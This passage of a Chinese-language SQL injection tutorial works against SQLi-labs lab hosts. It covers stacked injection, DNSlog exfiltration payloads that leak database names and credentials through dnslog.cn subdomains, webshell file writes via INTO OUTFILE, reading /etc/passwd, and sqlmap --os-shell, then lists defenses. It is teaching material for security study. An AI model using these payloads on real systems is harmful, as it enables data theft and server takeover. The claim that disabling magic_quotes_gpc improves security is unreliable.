函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁.
代码分析
mysqli_multi_query
可以执行多条语句payload:http://10.10.10.197/SQLi/Less-38?id=-1'; insert into users(id,username,password) values(88,'aaa','bbb') -- -
1 | // 定义SQL查询语句,从名为 'users' 的表中选择所有列,其中 'id' 列的值等于传入的参数 '$id' |
注入方法
1 | -- 查询表名 |
DNSlog注入
DNSlog注入是一种高级的SQL注入攻击技术,它利用DNS解析过程中的特性,将恶意数据通过DNS请求传递到攻击者控制的DNS服务器,从而实现在无法直接获取响应的情况下,间接获取数据库信息的目的.
基本原理和步骤如下:
- 构造恶意SQL语句: 攻击者构造包含恶意SQL代码的语句,通常在语句中包含对DNS解析过程产生的DNS请求的利用代码.
- 触发DNS解析: 攻击者将构造的恶意SQL语句注入到目标应用程序中,使其在处理用户请求时触发DNS解析.
- DNSlog服务: 攻击者拥有一个控制的DNS服务器,该服务器能够记录接收到的DNS请求,并将记录的信息发送给攻击者.
- DNS记录信息: 当应用程序触发DNS解析时,攻击者控制的DNS服务器会收到请求并记录相关信息,例如恶意SQL代码执行的结果.
- 获取数据库信息: 攻击者通过查看DNS服务器的记录,间接获取数据库执行恶意SQL语句后的信息,包括可能的敏感信息.
DNSlog注入的优势在于攻击者无需直接获取应用程序的响应,而是通过DNS请求的记录来获取信息,这使得攻击更为隐蔽.然而,实施DNSlog注入需要掌握一定的网络和DNS知识.
什么是DNSlog
我们都知道DNS就是将域名解析为IP,用户在浏览器上输入一个域名A.com
,就要靠DNS服务器将A.com解析到它的真实IP: 127.0.0.1
,这样就可以访问127.0.0.1
服务器上的相应服务.
那么DNSlog是什么?DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com
等的访问信息,类似日志文件.
DNSlog回显原理
前面说DNSlog就是日志,那怎么用DNSlog进行注入并回显信息呢.我们得再了解一个多级域名的概念.
因特网采用层次树状结构命名方法.域是名字空间中一个可被管理的划分(按机构组织划分),域可被划分为子域,子域可再被划分,即形成了顶级域名、二级域名、三级域名等.从右向左为顶级域名、二级域名、三级域名等,用点隔开.
1 | tieba.baidu.com |
它由三个标号组成:
com
即为顶级域名baidu
为二级域名tieba
即为三级域名
域名不区分大小写.
再来看一个图
通俗的说就是我有个已注册的域名a.com
,我在域名代理商那里将域名设置对应的IP 1.1.1.1
上,这样当我向dns服务器发起a.com
的解析请求时,DNSlog中会记录下他给a.com
解析,解析值为1.1.1.1
,而我们这个解析的记录的值就是我们要利用的地方.
看个直观一点的例子来理解:
ping命令的时候会用到DNS解析所以我就用ping命令做个实验.
可以看到解析的日志会把%USERNAME%
的值给带出来,因为系统在ping命令之前会将%USERNAME%
的值解析出来,然后再和a.com
拼接起来,最后ping命令执行将XF.a.com
一起发给DNS服务器请求解析域名对应的IP地址,这个过程被记录下来就是DNSlog,看到这里应该有点感觉了.原理上只要能进行DNS请求的函数都可能存在DNSlog注入.
Windows平台
注入平台
手工注入
1 | AND SELECT LOAD_FILE(CONCAT("--",(SELECT DATABASE()),".u4atj2.dnslog.cn/jiangjiyue.txt")) -- - |
1 | AND SELECT LOAD_FILE(CONCAT("--",(SELECT table_name FROM information_schema.`TABLES` WHERE table_schema=DATABASE() LIMIT 3,1 ),".2kx3x3.dnslog.cn/jiangjiyue.txt")) -- - |
1 | AND SELECT LOAD_FILE(CONCAT("--",(SELECT column_name FROM information_schema.`COLUMNS` WHERE table_name='users' LIMIT 0,1 ),".2kx3x3.dnslog.cn/jiangjiyue.txt")) -- - |
1 | AND SELECT LOAD_FILE(CONCAT("--",(SELECT CONCAT(username ,"---",password)FROM users LIMIT 0,1 ),".qnzz3t.dnslog.cn/jiangjiyue.txt")) -- - |
读写文件
文件读写权限检查
- 使用
show variables like '%secure%';
来查看MySQL是否有读写文件的权限. - 通过检查
secure_file_priv
变量,可以了解MySQL是否限制了文件的读写.三种状态:空(可写)、固定路径(在特定路径内可写)、null(不可写).
- 使用
select into outfile 和 select into dumpfile
select into outfile
用于将查询结果输出到文件,通常是文本文件.select into dumpfile
类似于outfile
,但用于输出二进制格式文件.
load_file() 函数
load_file()
函数用于读取本地文件.但要使用该函数,MySQL用户需要具有FILE
权限.- 可以通过
UNION SELECT
结构来执行load_file()
函数,实现读取本地文件的目的.
文件写入示例
使用
select ... into outfile
或select ... into dumpfile
结合联合查询,可以将恶意内容写入到指定路径的文件中.1
select id,username,password from user where id='1' union select 1,2,'<?php phpinfo();?>' into outfile 'D:\\Penetration\\TrafficTools\\phpStudy\\WWW\\p.php'
示例中演示了如何将 PHP 代码写入到指定路径的文件中,从而实现远程命令执行.
文件读取示例:
使用
load_file()
函数结合联合查询,可以读取本地文件的内容.1
select username,password from user where id='1' UNION SELECT 1,load_file('/etc/passwd')
示例中演示了如何读取
/etc/passwd
文件的内容.
注意事项:
- 上述操作需要具有足够的权限,通常需要 root 权限.
- 为了提高安全性,应该关闭魔术引号(
magic_quotes_gpc
). - 操作中需要注意MySQL的文件读写权限以及文件的绝对路径.
利用SQLmap获得shell权限
只限于Linux
SQLmap证明存在注入并确保有dba权限.所谓DBA权限就是数据库的最大权限.在MariaDB数据库中一般为root.
在SQL注入中,只要注入权限为DBA用户所管理的库时,才能行使数据库的完整权限,执行文件写入等操作.
前文手注写入木马也是基于这个前提.SQLmap -u "http://192.168.226.130/SQLi-labs/Less-1/?id=1" --is-dba
current user is DBA:True
代表其具备DBA权限.
在SQLmap中--os-shell
代表SqlMap将尝试获取shell.
sqlmap -u "http://192.168.226.130/SQLi-labs/Less-1/?id=1" --os-shell
选择对相应的中间件类型,这里用的lamp
,所以选PHP
选择2制定web站点路径
输入上传目录/www/admin/localhost_80/wwwroot/SQLi-labs
获得os shell
SQL注入的防御方法
过滤
可以对用户提交的敏感字符进行过滤和拦截.
转义
可以对用户提交的敏感字符进行转义.
参数化查询
参数化查询也叫做预处理,它分两个步骤处理用户的输入.
- 网站应用程序指定了查询语句结构,并为用户输入的每个数据预留了占位符.
- 网站应用程序指定每个占位符的内容.
在第二个步骤中,用户输入被填入占位符,但不会改变第一个步骤中预设好的查询语句结构.
这样,网站应用程序就不会将用户输入语句判断为SQL语句执行了,而会把用户的输入当做一个整体去查询.
加密存储
对重要数据,不在表单中明文存储,而选择加密存储.
限制数据库权限和特权
最小化权限原则.将数据库用户的功能设置为最低要求;
这将限制攻击者在设法获取访问权限时可以执行的操作.